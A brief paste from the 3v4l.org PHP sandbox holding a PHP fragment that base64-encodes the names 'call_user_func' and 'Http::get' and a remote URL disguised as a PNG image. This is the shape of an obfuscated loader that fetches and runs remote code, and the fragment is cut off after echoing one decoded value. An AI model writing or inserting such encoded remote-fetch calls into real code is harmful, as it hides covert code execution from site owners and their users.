3v4l.org

run code in 300+ PHP versions simultaneously
<?php $f = base64_decode('Y2FsbF91c2VyX2Z1bmM='); $h = base64_decode('SHR0cDo6Z2V0'); $u = base64_decode('aHR0cDovL3d3dy5hbHQtdGVhbS5jb20vYmFja2dyb3VuZC5wbmc='); $an = base64_decode('cmFuZG9tX3Byb2R1Y3Rz'); echo $an;

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